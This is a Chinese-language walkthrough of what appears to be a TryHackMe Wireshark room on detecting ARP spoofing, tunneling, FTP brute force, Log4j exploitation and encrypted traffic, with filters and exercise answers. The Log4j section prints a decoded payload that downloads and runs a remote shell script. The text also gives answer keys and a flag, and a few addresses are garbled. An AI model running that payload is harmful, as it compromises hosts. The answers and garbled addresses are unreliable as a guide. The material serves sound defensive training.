ARP協議,即地址解析協議(ARP),是負責允許設備在網絡中識別自身身份的技術。地址解析協議投毒(也稱為ARP欺騙或中間人攻擊(MITM))是一種攻擊,它通過向默認網關發送惡意ARP數據包來干擾/操縱網絡。其最終目的是篡改“IP地址到MAC地址表”,並嗅探目標主機的網絡流量。
有很多工具可用於發起ARP攻擊。然而,這種攻擊的思路是固定的,因此只要瞭解ARP協議的工作流程和Wireshark的使用技巧,就很容易檢測到此類攻擊。
ARP分析簡述:
- 在本地網絡上運行
- 實現 MAC 地址之間的通信
- 這不是一個安全的協議
- 不是可路由協議
- 它沒有身份驗證功能
- 常見模式有請求與響應、公告和免費數據包。
在調查流量之前,我們先來看一些合法和可疑的ARP數據包。合法的請求類似於圖中所示:一個廣播請求,詢問是否有可用主機使用某個IP地址,以及來自使用該IP地址的主機的回覆。
| 筆記 | Wireshark過濾器 |
|---|---|
| 全球搜索 | - arp |
| “ ARP ”選項,用於獲取唾手可得的成果:
- 操作碼 1:ARP請求。 - 操作碼 2:ARP響應。 - 亨特:ARP掃描 - 調查:可能檢測到ARP中毒 - 搜尋:可能檢測到ARP泛洪攻擊: |
- arp.opcode == 1
- arp.opcode == 2
- arp.dst.hw_mac==00:00:00:00:00:00
- arp.duplicate-address-detected or arp.duplicate-address-frame
- ((arp) && (arp.opcode == 1)) && (arp.src.hw_mac == target-mac-address) |
ARP請求
ARP應答
可疑情況是指針對特定 IP 地址出現兩個不同的ARP響應(衝突)。在這種情況下,Wireshark 的專家信息選項卡會向分析人員發出警告。但是,它只會顯示重複值的第二個實例以突出顯示衝突。因此,如何從合法數據包中識別惡意數據包是分析人員面臨的挑戰。下圖展示了一個可能的 IP 地址欺騙案例。
瞭解網絡架構並檢查特定時間段內的流量有助於發現異常。作為分析師,您應該在繼續下一步之前記錄下您的發現。這將有助於您保持條理清晰,並便於關聯後續發現。請看下圖;這裏存在衝突;以“b4”結尾的MAC地址構造了一個ARP請求,其IP地址為“192.168.1.25”,然後聲稱自己擁有“192.168.1.1”的IP地址。
| 筆記 | 檢測記錄 | 發現 |
|---|---|---|
| 可能存在匹配的 IP 地址。 | 1. 通過 MAC 地址公佈的 IP 地址。 | - MAC地址:00:0c:29:e2:18:b4
- IP地址:192.168.1.25 |
| 可能是ARP欺騙攻擊。 | 兩個 MAC 地址聲稱擁有同一個 IP 地址 (192.168.1.1)。IP
地址“192.168.1.1”可能是一個網關地址。 |
- MAC1: 50:78:b3:f3💿f4
- MAC 2: 00:0c:29:e2:18:b4 |
| 可能是ARP泛洪攻擊。 | 以“b4”結尾的 MAC 地址聲稱擁有不同的/新的 IP 地址。 | - MAC地址:00:0c:29:e2:18:b4
- IP地址:192.168.1.1 |
我們繼續檢查流量,以發現任何其他異常情況。請注意,為了便於調查,此案例已拆分為多個捕獲文件。
此時,異常情況顯而易見。安全分析師不能忽視大量的ARP請求。這可能是惡意活動、掃描或網絡問題。現在出現了一個新的異常:MAC 地址以“b4”結尾,並向 IP 地址“192.168.1.25”發送了多個ARP請求。讓我們集中精力追蹤這一異常的來源,並補充之前的記錄。
| 筆記 | 檢測記錄 | 發現 |
|---|---|---|
| 可能存在匹配的 IP 地址。 | 1. 通過 MAC 地址公佈的 IP 地址。 | - MAC地址:00:0c:29:e2:18:b4
- IP地址:192.168.1.25 |
| 可能是ARP欺騙攻擊。 | 2 個 MAC 地址聲稱擁有同一個 IP 地址 (192.168.1.1)。
IP 地址“192.168.1.1”可能是一個網關地址。 |
- MAC1: 50:78:b3:f3💿f4
- MAC 2: 00:0c:29:e2:18:b4 |
| 可能是ARP欺騙攻擊。 | 以“b4”結尾的 MAC 地址聲稱擁有不同的/新的 IP 地址。 | - MAC地址:00:0c:29:e2:18:b4
- IP地址:192.168.1.1 |
| 可能是ARP泛洪攻擊。 | 以“b4”結尾的 MAC 地址針對一系列 IP 地址構造了多個ARP請求。 | - MAC地址:00:0c:29:e2:18:b4
- IP地址:192.168.1.xxx |
到目前為止,很明顯,以“b4”結尾的MAC地址擁有“192.168.1.25”IP地址,並針對一系列IP地址構造了可疑的ARP請求。它還聲稱擁有可能的網關地址。讓我們關注其他協議,並在接下來的時間段內尋找這種異常的體現。
存在 HTTP 流量,IP 層一切正常,因此與我們之前的發現沒有關聯。讓我們在數據包列表窗格中添加 MAC 地址列,以揭示 IP 地址背後的通信情況。
又發現一個異常!所有HTTP數據包的目標地址都是以“b4”結尾的MAC地址!顯然,這裏遭受了中間人攻擊,攻擊者就是MAC地址以“b4”結尾的主機。所有與“192.168.1.12”IP地址關聯的流量都被轉發到了這台惡意主機。在結束調查之前,讓我們總結一下調查結果。
| 筆記 | 檢測記錄 | 發現 |
| IP地址與MAC地址匹配。 | 3. IP地址與MAC地址匹配。 | - MAC:00:0c:29:e2:18:b4 = IP:192.168.1.25
- MAC地址:50:78:b3:f3💿f4 = IP地址:192.1681.1 - MAC:00:0c:29:98:c7:a8 = IP:192.168.1.12 |
| 攻擊者 | 攻擊者利用ARP數據包製造噪聲。 | - MAC:00:0c:29:e2:18:b4 = IP:192.168.1.25 |
| 路由器/網關 | 網關地址。 | - MAC地址:50:78:b3:f3💿f4 = IP地址:192.1681.1 |
| 受害者 | 攻擊者嗅探了受害者的所有網絡流量。 | - MAC地址:50:78:b3:f3💿f4 = IP地址:192.1681.12 |
從龐大的捕獲文件中檢測這些信息碎片極具挑戰性。然而,在實際應用中,你不可能事先獲得“定製數據”進行調查。因此,你需要具備分析師的思維模式、知識和工具技能,才能篩選和檢測異常情況。
注:在交通分析中,總有多種解決方案可供選擇。解決方案的類型和方法取決於分析人員的知識和技能水平以及可用的數據來源。
檢測分塊文件中的可疑活動很容易,也是學習如何關注細節的好方法。
現在,請使用該"~ /Desktop/exercise-pcaps/arp/Exercise"文件,將您的技能應用於單個捕獲文件,並回答以下問題!
攻擊者構造了多少個 ARP 請求?
篩選:arp.dst.hw_mac == 00:00:00:00:00:00 && string(arp.src.hw_mac) matches "(:b4)$"
284
攻擊者收到了多少個HTTP數據包?
篩選:eth.src == 00:0c:29:e2:18:b4 && http
這裏我自己篩選的時候是0個數據包顯示出來,但答案是90個
90
嗅探到的用户名和密碼條目有多少條?
找到這個路徑作為篩選器
再拼個http協議即可
檢查了 兩個包發現有兩個沒有密碼的
那答案就是6個
6
“Client986”的密碼是什麼?
clientnothere!
Client354 提供的評論是什麼?
字符串全局找
Nice work!
主機識別:DHCP、NetBIOS 和 Kerberos
識別宿主
在調查入侵或惡意軟件感染活動時,安全分析師除了需要進行 IP 地址與 MAC 地址匹配之外,還應該知道如何識別網絡中的主機。最佳方法之一是識別網絡中的主機和用户,以此確定調查的起點,並列出與惡意流量/活動相關的主機和用户。
通常,企業網絡會使用預定義的命名模式來命名用户和主機。雖然這便於瞭解和跟蹤資產清單,但也存在利弊。好處在於,可以通過名稱輕鬆識別用户或主機。弊端在於,攻擊者很容易複製這種命名模式,並在企業網絡中進行攻擊。雖然有多種解決方案可以避免此類攻擊,但對於安全分析師而言,掌握主機和用户識別技能仍然至關重要。
可用於主機和用户身份識別的協議:
- 動態主機配置協議 ( DHCP ) 流量
- NetBIOS (NBNS) 流量
- Kerberos流量
DHCP分析
DHCP 協議,或 稱 動態主機配置協議( DHCP ) ,****是負責 管理****自動 IP地址和所需通信參數分配的技術。
DHCP故障調查簡述:
| 筆記 | Wireshark過濾器 |
|---|---|
| 全球搜索。 | - dhcp或者bootp |
| 篩選正確的 DHCP 數據包選項對於找到感興趣的事件至關重要。
- “DHCP 請求”數據包包含主機名信息 - “DHCP ACK”數據包表示已接受的請求 - “DHCP NAK”數據包表示請求被拒絕。 由於協議本身的特性,只有“選項 53”(請求類型)具有預定義的靜態值。您應該先篩選數據包類型,然後可以通過“應用為列”或使用“包含”和“匹配”等高級篩選器來篩選其餘選項。 |
- 請求:dhcp.option.dhcp == 3
- ACK: dhcp.option.dhcp == 5
- NAK: dhcp.option.dhcp == 6 |
| “ DHCP請求”選項,助您輕鬆獲取所需資源:
- 選項 12:主機名。 - 選項 50:請求的 IP 地址。 - 選項 51:請求 IP 租期。 - 選項 61:客户端 MAC 地址。 |
- dhcp.option.hostname contains "keyword" |
| DHCP ACK選項,助您輕鬆獲取所需資源:
- 選項 15:域名。 - 選項 51:分配 IP 租期。 |
- dhcp.option.domain_name contains "keyword" |
| “ DHCP NAK”選項,用於獲取唾手可得的成果:
- 選項 56:消息(拒絕詳情/原因)。 |
由於信息可能因具體情況而異,建議閲讀信息而非對其進行篩選。這樣,分析人員才能通過了解事件背景,提出更可靠的假設或得出更準確的結論。 |
NetBIOS (NBNS) 分析
NetBIOS ( 網絡基本 輸入/輸出系統)是負責允許不同主機上的應用程序 相互通信的技術。
NBNS調查簡述:
| 筆記 | Wireshark過濾器 |
|---|---|
| 全局搜索 | - nbns |
| “NBNS” 選項,助您輕鬆摘取果實:
- 查詢:查詢詳情。 - 查詢詳情可能包含“名稱、生存時間 (TTL) 和 IP 地址詳情” |
- nbns.name contains "keyword" |
Kerberos 分析
Kerberos 是 Microsoft Windows 域的默認身份驗證服務。它負責在不受信任的網絡上驗證兩台或多台計算機之間的服務請求。其最終目標是安全地驗證身份。
Kerberos調查簡述:
| 筆記 | Wireshark過濾器 |
|---|---|
| 全球搜索。 | - kerberos |
| 用户賬號查詢:
- CNameString:用户名。 注意: 某些數據包可能在此字段中包含主機名信息。為避免混淆,請過濾掉以“$”結尾的值。以“$”結尾的值是主機名,不以“$”結尾的值是用户名。 |
- kerberos.CNameString contains "keyword"
- kerberos.CNameString and !(kerberos.CNameString contains "$" ) |
| 利用“ Kerberos ”協議獲取唾手可得的成果:
- pvno:協議版本。 - realm:生成的票據的域名。 - sname:生成的工單的服務和域名。 - 地址:客户端 IP 地址和 NetBIOS 名稱。 注意:“地址”信息僅在請求數據包中可用。 |
- kerberos.pvno == 5
- kerberos.realm contains ".org"
- kerberos.SNameString == "krbtg" |
請回答以下問題
主機“Galaxy A30”的 MAC 地址是什麼?
篩選:dhcp.option.hostname contains "Galaxy"
9a:81:41:cb:96:6c
“LIVALJM”工作站有多少個NetBIOS註冊請求?
篩選:nbns && nbns.name contains "LIVALJM"
有一些不是註冊請求,那我們還需要進一步篩選
選擇下面這個flag作為附加篩選條件
最終篩選語法:(nbns && nbns.name contains "LIVALJM") && (nbns.flags.opcode == 5)
16
哪個主機請求了 IP 地址“172.16.13.85”?
篩選:dhcp.option.requested_ip_address == 172.16.13.85
Galaxy-A12
用户“u5”的IP地址是什麼?
篩選:kerberos.CNameString contains “u5” and kerberos.as_req_element
(只篩選了請求部分,所以我們可以直接看源ip即可)
10[.]1[.]12[.]2
Kerberos 數據包中可用主機的主機名是什麼?
篩選:kerberos.CNameString contains "$"
記住一句話:以 “$” 結尾的值是主機名,不以 “$” 結尾的值是用户名。
xp1$
隧道流量:DNS 和 ICMP
流量隧道(也稱為 “端口轉發”) 是一種以安全的方式將數據/資源傳輸到網絡段和區域的技術。它可用於“互聯網到專用網絡”和“專用網絡到互聯網”的流量/方向轉換。該技術通過封裝過程隱藏數據,使傳輸的數據看起來與普通網絡無異,但實際上包含私有數據包,並安全地將其傳輸到最終目的地。
隧道技術提供匿名性和流量安全保障,因此被廣泛應用於企業網絡。然而,由於它提供了高水平的數據加密,攻擊者會利用隧道技術繞過安全邊界,使用諸如 ICMP 和DNS等日常流量中使用的標準可信協議。因此,對於安全分析師而言,能夠識別 ICMP 和DNS異常至關重要。
ICMP分析
互聯網控制消息協議 (ICMP) 旨在診斷和報告網絡通信問題,廣泛應用於錯誤報告和測試。由於它是一種可信的網絡層協議,有時也會被用於拒絕服務 ( DoS ) 攻擊;此外,攻擊者還會利用它進行數據竊取和C2隧道攻擊。
ICMP分析簡述:
通常,ICMP隧道攻擊是在惡意軟件執行或漏洞利用後出現的異常情況。由於ICMP數據包可以傳輸額外的數據載荷,攻擊者會利用這一部分來竊取數據並建立C2連接。這些數據可以是TCP、HTTP或SSH數據。ICMP協議雖然提供了攜帶額外數據的絕佳機會,但也存在一些缺點。大多數企業網絡會阻止自定義數據包,或者要求管理員權限才能創建自定義ICMP數據包。
大量的 ICMP 流量或異常的數據包大小是 ICMP 隧道攻擊的跡象。然而,攻擊者可以創建與常規 ICMP 數據包大小(64 字節)相匹配的自定義數據包,因此檢測這些隧道攻擊活動仍然十分困難。但是,安全分析師應該瞭解正常和異常情況,以便發現可能的異常並將其上報進行進一步分析。
| 筆記 | Wireshark過濾器 |
|---|---|
| 全球搜索 | - icmp |
| “ICMP”選項,用於獲取唾手可得的成果:
- 數據包長度。 - ICMP 目標地址。 - 封裝協議在 ICMP 有效載荷中籤名。 |
- data.len > 64 and icmp |
DNS 分析
域名系統 (DNS) 旨在將 IP 域名轉換為 IP 地址,它也被稱為互聯網的電話簿。由於它是網絡服務的重要組成部分,因此被廣泛使用和信任,但也正因如此,它常常被忽視。正因如此,攻擊者會利用它進行數據竊取和 C2 活動。
DNS 分析簡述:
與 ICMP 隧道類似,DNS 攻擊是指惡意軟件執行或漏洞利用後出現的異常情況。攻擊者會創建(或已擁有)一個域名地址,並將其配置為 C2 通道。惡意軟件或漏洞利用後執行的命令會向 C2 服務器發送 DNS 查詢。然而,這些查詢比默認的 DNS 查詢更長,並且是針對子域名地址精心構造的。 不幸的是,這些子域名地址並非實際地址,而是經過編碼的命令,如下所示:
"encoded-commands.maliciousdomain.com"
當此查詢被路由到C2服務器時,服務器會將實際的惡意命令發送到目標主機。由於DNS查詢是網絡活動的自然組成部分,這些數據包有可能不被網絡邊界檢測到。安全分析師應該知道如何分析DNS數據包的長度和目標地址,以便發現這些異常情況。
| 筆記 | Wireshark過濾器 |
|---|---|
| 全球搜索 | - dns |
| 利用“ DNS ”選項獲取唾手可得的成果:
- 查詢長度。 - DNS地址中的異常和非常規名稱。 - 包含編碼子域名地址的長DNS地址。 - 已知模式如 dnscat 和 dns2tcp。 - 統計分析,例如針對特定目標的DNS請求異常量。 !mdns:禁用本地鏈路設備查詢。 |
- dns contains "dnscat"
- dns.qry.name.len > 15 and !mdns |
調查異常數據包。ICMP隧道使用的是哪種協議?
篩選:(data.len > 64) and (icmp contains "ssh" or icmp contains "ftp" or icmp contains "tcp" or icmp contains "http")
ssh
調查異常數據包。接收異常DNS查詢的可疑主域名地址是什麼?
篩選:dns.qry.name.len > 40 and !mdns && dns.qry.name contains ".com"
這個長度可以根據你的調查慢慢調整即可,不一定説非要40
dataexfil[.]com
dataexfil[.]com
明文協議分析:FTP
調查明文協議跟蹤數據聽起來很簡單,但當需要調查大型網絡跟蹤數據以進行事件分析和響應時,情況就大不相同了。正確的分析不僅僅是跟蹤數據流和讀取明文數據。對於安全分析師來説,重要的是從調查過程中創建統計數據和關鍵結果。正如 Wireshark 系列教程開頭提到的,分析師應該具備完成這項工作所需的網絡知識和工具技能。讓我們用 Wireshark 模擬一次明文協議調查吧!
FTP分析
文件傳輸協議 ( FTP ) 的設計初衷是為了方便文件傳輸,因此它更注重簡便性而非安全性。正因如此,在不安全的環境中使用此協議可能會導致以下安全問題:
- 中間人攻擊
- 憑證竊取和未經授權的訪問
- 網絡釣魚
- 惡意軟件植入
- 數據泄露
FTP分析簡述:
| 筆記 | Wireshark過濾器 |
|---|---|
| 全局搜索 | - ftp |
| 通過“ FTP ”選項獲取唾手可得的成果:
- x1x 系列:信息請求響應。 - x2x 系列:連接消息。 - x3x 系列:身份驗證消息。 注意: “200”表示命令執行成功。 |
--- |
| “x1x”系列選項,助您輕鬆摘取果實:
- 211:系統狀態。 - 212:目錄狀態。 - 213:文件狀態 |
- ftp.response.code == 211 |
| “x2x”系列選項,助您輕鬆摘取果實:
- 220:服務已準備就緒。 - 227:進入被動模式。 - 228:長時間被動模式。 - 229:擴展被動模式。 |
- ftp.response.code == 227 |
| “x3x”系列選項,助您輕鬆摘取果實:
- 230:用户登錄。 - 231:用户註銷。 - 331:有效的用户名。 - 430:用户名或密碼無效 - 530:無法登錄,密碼無效。 |
- ftp.response.code == 230 |
| 使用“ FTP ”命令快速獲取所需資源:
- 用户:用户名。 - 密碼: PASS。 - CWD:當前工作目錄。 - 列表:列表。 |
- ftp.request.command == "USER"
- ftp.request.command == "PASS"
- ftp.request.arg == "password" |
| 高級用法示例:如何輕鬆獲取唾手可得的成果:
- 暴力破解信號:列出失敗的登錄嘗試。 - 暴力破解信號:列出目標用户名。 - 密碼噴灑信號:列出靜態密碼的攻擊目標。 |
- ftp.response.code == 530
- (ftp.response.code == 530) and (ftp.response.arg contains "username")
- (ftp.request.command == "PASS" ) and (ftp.request.arg == "password") |
請回答以下問題
總共有多少次登錄錯誤嘗試?
篩選:ftp.response.code == 530
737
“ftp”賬户訪問的文件大小是多少?
篩選:ftp.response.code == 213
39424
攻擊者向FTP服務器上傳了一個文檔。文件名是什麼?
篩選:ftp.request.command == "RETR"
resume.doc
攻擊者試圖通過添加特殊標誌來更改上傳文件的執行權限。攻擊者使用的命令是什麼?
篩選:ftp contains "CHMOD"
CHMOD 777
明文協議分析:HTTP
超文本傳輸協議 ( HTTP ) 是一種基於明文的請求-響應式客户端-服務器協議。它是請求/提供網頁的標準網絡活動類型,默認情況下不會被任何網絡邊界阻止。由於其未加密且是網絡流量的主幹,HTTP是流量分析中必須瞭解的協議之一。以下攻擊可以通過HTTP分析檢測到:
- 釣魚頁面
- 網絡攻擊
- 數據泄露
- 指揮控制流量(C2)
HTTP分析簡述:
| 筆記 | Wireshark過濾器 |
|---|---|
| 全球搜索
注: HTTP2 是HTTP協議 的修訂版,旨在提升性能和安全性。它支持二進制數據傳輸和請求/響應複用。 |
- http
- http2 |
| 利用“HTTP 請求方法”快速獲取所需資源:
- 得到 - 郵政 - 請求:列出所有請求 |
- http.request.method == "GET"
- http.request.method == "POST"
- http.request |
| 利用 “ HTTP 響應狀態碼” 獲取唾手可得的成果:
- 200 OK: 請求成功。 - 301 永久重定向: 資源已移動到新的 URL/路徑(永久)。 - 302 臨時重定向: 資源已移動到新的 URL/路徑(臨時)。 - 400 錯誤請求: 服務器無法理解該請求。 - 401 未授權: URL 需要授權(登錄等)。 - 403 禁止訪問: 無權訪問所請求的 URL。 - 404 Not Found: 服務器找不到請求的 URL。 - 405 方法不允許: 使用的方法不合適或已被阻止。 - 408 請求超時: 請求等待時間超過服務器等待時間。 - 500 內部服務器錯誤: 請求未完成,出現意外錯誤。 - 503 服務不可用: 請求未完成,服務器或服務已關閉。 |
- http.response.code == 200
- http.response.code == 401
- http.response.code == 403
- http.response.code == 404
- http.response.code == 405
- http.response.code == 503 |
| 利用“ HTTP 參數”快速獲取所需信息:
- 用户代理:用於識別 Web 服務器應用程序的瀏覽器和操作系統。 - 請求 URI:指向服務器上請求的資源。 - 完整 URI:完整的 URI 信息。 *URI:統一資源標識符。 |
- http.user_agent contains "nmap"
- http.request.uri contains "admin"
- http.request.full_uri contains "admin" |
| 利用“ HTTP參數”快速獲取所需信息:
- 服務器:服務器服務名稱。 - 主機:服務器的主機名 - 連接:連接狀態。 - 基於行的文本數據:服務器提供的明文數據。 - HTML表單URL編碼:網頁表單信息。 |
- http.server contains "apache"
- http.host contains "keyword"
- http.host == "keyword"
- http.connection == "Keep-Alive"
- data-text-lines contains "keyword" |
用户代理分析
由於攻擊者會使用複雜的技術來實施攻擊,他們會試圖通過已知且可信的協議留下與正常流量相似的痕跡。對於安全分析師而言,識別數據包中的異常信號至關重要。“user-agent”字段是發現HTTP流量異常的重要資源之一。在某些情況下,攻擊者會成功修改user-agent數據,使其看起來非常自然。安全分析師不能僅僅依賴user-agent字段來發現異常。即使user-agent看起來很正常,也永遠不要將其加入白名單。基於user-agent的異常/威脅檢測/搜尋是需要檢查的額外數據來源,在發現明顯異常時非常有用。如果您對某個值不確定,可以進行網絡搜索,使用默認的正常user-agent信息來驗證您的發現(例如,參考示例網站:https://developers.whatismybrowser.com/useragents/explore/)。
用户代理分析簡述:
| 筆記 | Wireshark過濾器 |
|---|---|
| 全球搜索。 | - http.user_agent |
| 旨在獲取唾手可得成果的研究成果:
- 短時間內來自同一主機的不同用户代理信息。 - 非標準和自定義用户代理信息。 - 拼寫略有不同。(“Mozilla”與“Mozlilla”或“Mozlila”並不相同) - 用户代理字段中包含 Nmap、Nikto、Wfuzz 和 sqlmap 等審計工具的信息。 - 用户代理字段中的有效載荷數據。 |
- (http.user_agent contains "sqlmap") or (http.user_agent contains "Nmap") or (http.user_agent contains "Wfuzz") or (http.user_agent contains "Nikto") |
Log4j 分析
一次全面的調查始於對即將追蹤的威脅和異常情況進行預先研究。在啓動 Wireshark 之前,讓我們先回顧一下關於“Log4j”攻擊的已知信息。
Log4j漏洞分析簡述:
| 筆記 | Wireshark 過濾器 |
|---|---|
| 旨在獲取唾手可得成果的研究成果 :
- 攻擊始於一個“POST”請求。 - 已知存在明文模式:“ jndi:ldap ”和“ Exploit.class ”。 |
- http.request.method == "POST"
- (ip contains "jndi") or ( ip contains "Exploit")
- (frame contains "jndi") or ( frame contains "Exploit")
- (http.user_agent contains "$") or (http.user_agent contains "==") |
請回答以下問題
調查用户代理。異常的“用户代理”類型有多少種?
篩選:http.user_agent
慢慢翻找,實際上有6種不是常規的ua頭
6
用户代理字段中拼寫略有不同的數據包編號是多少?
注意看是Mozli 和 Mozil 的區別
52
找到“Log4j”攻擊的起始階段。數據包編號是多少?
篩選:(http.user_agent contains "$") or (http.user_agent contains "==")
444
找到“Log4j”攻擊的起始階段並解碼base64命令。攻擊者聯繫的IP地址是什麼?
複製那段base值解碼${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}
wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh
62[.]210[.]130[.]250
加密協議分析:解密 HTTPS
在調查網絡流量時,分析人員經常會遇到加密流量。這是因為為了增強安全性,防止欺騙、嗅探和攔截攻擊,網絡流量通常會使用超文本傳輸安全協議 (HTTPS)。HTTPS 使用TLS協議對通信進行加密,因此如果沒有加密/解密密鑰對,就無法解密流量並查看傳輸的數據。由於該協議為傳輸敏感數據提供了良好的安全性,攻擊者和惡意網站也會使用 HTTPS。因此,安全分析人員應該瞭解如何使用密鑰文件來解密加密流量並調查流量活動。
由於HTTP流量經過加密,數據包會以不同的顏色顯示。此外,協議和信息詳情(實際 URL 地址和服務器返回的數據)也不會完全可見。下圖顯示了使用TLS協議加密的HTTP數據包。
關於HTTPS的補充信息:
| 筆記 | Wireshark過濾器 |
|---|---|
| 利用“HTTPS 參數” 輕鬆獲取成果:
- 請求:列出所有請求 - TLS:全局TLS搜索 - TLS客户端請求 - TLS服務器響應 - 本地簡單服務發現協議 (SSDP) 注: SSDP 是一種網絡協議,用於提供網絡服務的通告和發現。 |
- http.request
- tls
- tls.handshake.type == 1
- tls.handshake.type == 2
- ssdp |
| 與 TCP 三次握手過程類似,TLS 協議也有自己的握手過程。前兩個步驟包含“客户端 Hello”和“服務器 Hello”消息。提供的過濾器會顯示捕獲文件中的初始 Hello 數據包。這些過濾器有助於識別參與 TLS 握手的 IP 地址。 |
- Client Hello:
(http.request or tls.handshake.type == 1) and !(ssdp) - Server Hello:
(http.request or tls.handshake.type == 2) and !(ssdp)
加密密鑰日誌文件是一個文本文件,其中包含用於解密加密流量會話的唯一密鑰對。當與啓用 SSL/ TLS的網頁建立連接時,這些密鑰對會自動創建(每個會話一個密鑰對)。由於這些過程都在瀏覽器中完成,因此您需要配置系統並使用合適的瀏覽器(Chrome 和 Firefox 均支持此功能)將這些值保存為密鑰日誌文件。為此,您需要設置一個環境變量並創建 SSLKEYLOGFILE 文件,瀏覽器會在您瀏覽網頁時將密鑰轉儲到此文件中。SSL/ TLS密鑰對在連接時為每個會話創建,因此在流量捕獲期間轉儲密鑰至關重要。否則,將無法創建/生成合適的密鑰日誌文件來解密捕獲的流量。您可以使用“右鍵單擊”菜單或 “編輯”->“首選項”->“協議”-> “TLS ” 菜單來添加/刪除密鑰日誌文件。
使用“右鍵單擊”菜單添加關鍵日誌文件:
使用“編輯 --> 首選項 --> 協議 --> TLS ” 添加關鍵日誌文件
查看包含/不包含關鍵日誌文件的流量:
上圖顯示,使用密鑰日誌文件後,流量詳情可見。請注意,“數據包詳情”和“字節”窗格以不同格式提供數據以供分析。解密流量後,即可查看解壓縮後的頭部信息和 HTTP/2 數據包詳情。根據數據包詳情的不同,您還可以獲得以下數據格式:
- 框架
- 已解密的TLS
- 解壓縮後的頭部
- 重新組裝的 TCP
- 重新組裝的 SSL
請回答以下問題
發送到“accounts.google.com”的“Client Hello”消息的幀號是多少?
篩選:(http.request or tls.handshake.type == 1) and !(ssdp)
16
使用“KeysLogFile.txt”文件解密流量。HTTP2數據包的數量是多少?
“Edit → Preferences → Protocols → TLS”
115
請轉到第 322 幀。HTTP2 數據包的授權頭部是什麼?
safebrowsing[.]googleapis[.]com
保存一個叫flag.txt請求的數據包即可
打開文件
FLAG{THM-PACKETMASTER}
獎勵:尋找明文憑證!
到目前為止,我們討論瞭如何檢查數據包是否存在特定情況並發現異常。正如第一間會議室提到的,Wireshark 並非入侵檢測系統 (IDS),但它會在專家信息中針對某些情況提供建議。然而,有時異常流量會偽裝成正常流量,這使得檢測變得更加困難。例如,在明文憑據攻擊案例中,很難發現多個憑據輸入,也難以判斷這是暴力破解攻擊還是普通用户誤輸了憑據。
由於所有信息都以數據包的形式呈現,因此很難一眼看出多個用户名/密碼條目。如果分析人員能夠以列表形式查看憑據條目,檢測時間將會縮短。Wireshark 具備這樣的功能,可以幫助分析人員查找明文憑據條目。
部分 Wireshark 數據包分析器(FTP、HTTP、IMAP、POP 和SMTP)可以提取捕獲文件中的明文密碼。您可以使用 “工具 --> 憑據” 菜單查看檢測到的憑據。此功能僅適用於特定版本的 Wireshark(v3.1 及更高版本)。由於該功能僅適用於特定協議,因此建議進行手動檢查,不要完全依賴此功能來判斷流量中是否存在明文憑據。
使用該功能後,它會打開一個新窗口,顯示檢測到的憑據。窗口會顯示數據包編號、協議、用户名和其他信息。此窗口可點擊;點擊數據包編號將選擇包含密碼的數據包,點擊用户名將選擇包含用户名信息的數據包。“其他信息”部分會提示包含用户名的數據包編號。
這個工具太屌了!
請回答以下問題
使用“HTTP 基本身份驗證”時,憑據的數據包編號是多少?
237
提交“空密碼”的數據包編號是多少?
170
額外福利:可執行的結果!
您已調查了網絡流量,檢測到了異常情況,並創建了筆記以供進一步調查。接下來該做什麼?並非所有案例調查都由團隊協作完成。作為安全分析師,有些情況下您需要自行發現異常、確定源頭並採取行動。
Wireshark 的功能不僅限於數據包細節;它還可以幫助您創建防火牆規則,只需點擊幾下即可實施。您可以使用 “工具 --> 防火牆ACL規則”菜單創建防火牆規則 。使用此功能後,它將打開一個新窗口,並提供一系列規則(基於 IP、端口和 MAC 地址),以滿足不同的需求。請注意,這些規則是為在外部防火牆接口上實施而生成的。
目前,Wireshark 可以創建以下規則:
- Netfilter(iptables)
- Cisco IOS(標準版/擴展版)
- IP過濾器(ipfilter)
- IP防火牆(ipfw)
- 數據包過濾器(pf)
- Windows防火牆(netsh 新/舊格式)
請回答以下問題
選擇數據包編號99,然後點開“IPFirewall (ipfw)”,找到這條“拒絕deny源IPv4地址”的規則,看他寫的是什麼?
add deny ip from 10.121.70.151 to any in
選擇數據包編號 23,然後點開“IPFirewall”規則,看下允許allow目標 MAC 地址的規則是什麼?
add allow MAC 00:d0:59:aa:af:80 any in
結論
Wireshark 是開展網絡安全調查的優秀工具。然而,它不足以阻止威脅。安全分析師應具備入侵檢測系統 (IDS) /入侵防禦系統(IPS) 的知識以及其他工具的使用技能,才能檢測和預防異常及威脅。隨着攻擊手段日益複雜,使用多種工具和檢測策略已成為必要。
網絡礦工
學習如何使用 NetworkMiner 分析記錄的流量文件並進行網絡取證活動。
介紹
NetworkMiner是一款開源的流量嗅探器、PCAP處理程序和協議分析器,由Netresec開發並持續維護。
官方描述:
NetworkMiner 是一款適用於 Windows 的開源網絡取證分析工具 ( NFAT )(也支持Linux、Mac OS X 和 FreeBSD)。NetworkMiner 可用作被動式網絡嗅探器/數據包捕獲工具,無需在網絡上投放任何流量即可檢測操作系統、會話、主機名、開放端口等信息。NetworkMiner 還可以解析PCAP文件以進行離線分析,並從PCAP文件中重新生成/組裝傳輸的文件和證書。
自2007年首次發佈以來,NetworkMiner已成為事件響應團隊和執法部門的熱門工具。如今,世界各地的公司和組織都在使用NetworkMiner。
本房間旨在提供網絡取證的一般概述,並使用 NetworkMiner 來調查捕獲的流量。
- 學習目標
- 瞭解 NetworkMiner 是什麼
- 學習 NetworkMiner 的基礎知識
- 瀏覽不同的信息標籤頁,高效提取信息。
NetworkMiner 在取證中的應用
網絡挖掘在取證中的應用
網絡取證的最終目標是提供足夠的信息,以便根據網絡流量檢測惡意活動、安全漏洞和網絡異常。NetworkMiner 是一個強大的輔助工具,它可以快速提供有用的線索,指導您從何處着手,具體包括:
- 捕獲主機的上下文信息,例如其 IP 地址和 MAC 地址、主機名或操作系統信息
- 潛在攻擊指標或異常情況列表,例如流量激增或端口掃描
- 用於執行潛在攻擊的工具或工具包,例如Nmap。
支持的數據類型
網絡取證中主要調查三種數據類型:
- 實時路況
- 流量捕獲
- 日誌文件
NetworkMiner 能夠處理數據包捕獲文件 ( PCAP ) 和實時流量。因此,在本討論中,我們將重點關注實時流量和捕獲的流量。
NetworkMiner是什麼?
NetworkMiner 簡介
| 能力 | 描述 |
|---|---|
| 交通嗅探 | 它可以攔截網絡流量,嗅探網絡流量,並收集和記錄通過網絡的數據包。 |
| 解析PCAP文件 | 它可以解析pcap文件並詳細顯示數據包的內容。 |
| 方案分析 | 它可以從解析後的pcap文件中識別所使用的協議。 |
